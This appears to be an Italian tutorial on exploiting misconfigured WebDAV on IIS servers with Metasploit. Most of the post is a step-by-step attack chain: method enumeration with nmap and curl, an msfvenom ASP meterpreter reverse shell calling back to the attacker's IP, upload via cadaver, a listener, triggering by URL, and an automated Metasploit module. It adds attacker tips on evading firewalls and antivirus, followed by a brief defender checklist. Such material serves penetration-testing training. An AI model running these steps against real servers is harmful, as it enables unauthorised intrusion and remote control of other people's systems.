🔍 **WebDAV Exploitation con Metasploit**
WebDAV Web Distributed Authoring and Versioning è un’estensione del protocollo HTTP che consente agli utenti di creare, modificare e gestire file su server remoti. È spesso abilitato su server IIS, ma
🔍 WebDAV Exploitation con Metasploit
🧠 Cos’è WebDAV?
WebDAV (Web Distributed Authoring and Versioning) è un’estensione del protocollo HTTP che consente agli utenti di creare, modificare e gestire file su server remoti. È spesso abilitato su server IIS, ma può essere presente anche in altri ambienti. Se mal configurato, consente il file upload arbitrario, spesso senza controlli di esecuzione o autenticazione.
🎯 Obiettivo dell’attacco
1. Caricare un payload malevolo (ad es. una reverse shell) sul server tramite WebDAV. 2. Eseguire il payload visitando l’URL caricato. 3. Ottenere una sessione Meterpreter sul sistema remoto.
🛠️ Tool utilizzati
msfvenom: Per creare il payload.
cadaver: Client WebDAV da terminale.
msfconsole: Per gestire la sessione e caricare exploit.
📌 Fasi dell'attacco
1. Enumerazione iniziale
- Identificare che WebDAV è abilitato.
nmap -p 80 --script http-methods <target>curl -X OPTIONS http://<target>/webdav/- Se vengono restituiti metodi come
PROPFIND,PUT,DELETE,MKCOL, è probabile che WebDAV sia abilitato e vulnerabile.
2. Generazione del payload
Utilizziamo msfvenom per creare una reverse shell in ASP (supportata da IIS):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<tuo_ip> LPORT=4444 -f asp > shell.asp3. Caricamento del payload con cadaver
cadaver http://<target>/webdav/- Inserisci le credenziali se richieste.
- Carica il payload:
put shell.aspNota: Puoi usare anche strumenti alternativi come curl con WebDAV (curl -T) o davtest.
4. Settaggio del listener su Metasploit
Apri msfconsole e configura il listener:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444
run5. Trigger del payload
Visita il file ASP caricato dal browser:
http://<target>/webdav/shell.aspSe tutto è configurato correttamente, vedrai comparire una sessione Meterpreter.
🔁 Alternativa: Utilizzo di un modulo exploit dedicato in Metasploit
Puoi anche usare il modulo automatizzato:
use exploit/windows/iis/iis_webdav_upload_aspSetta le opzioni richieste:
set RHOSTS <target>
set HTTPUSERNAME <user>
set HTTPPASSWORD <pass>
set PATH /webdav/shell.asp
set payload windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT 4444
exploit
🧩 Best Practices (da attaccante e da difensore)
👨💻 Attaccante:
- Verifica i permessi WebDAV: non sempre è possibile l’esecuzione del file.
- Prova più estensioni di payload:
.asp,.aspx,.php(a seconda del server).
- Controlla i firewall o AV che potrebbero bloccare la connessione inversa.
🛡️ Difensore:
- Disabilita WebDAV se non necessario.
- Limita i metodi HTTP permessi (
OPTIONS,PUT,DELETE).
- Applica un controllo rigoroso sui file caricati (whitelist di estensioni).
- Utilizza un Web Application Firewall (WAF).
📚 Risorse utili
- Cadaver Tool
- WebDAV Metasploit Docs
- OWASP - WebDAV Security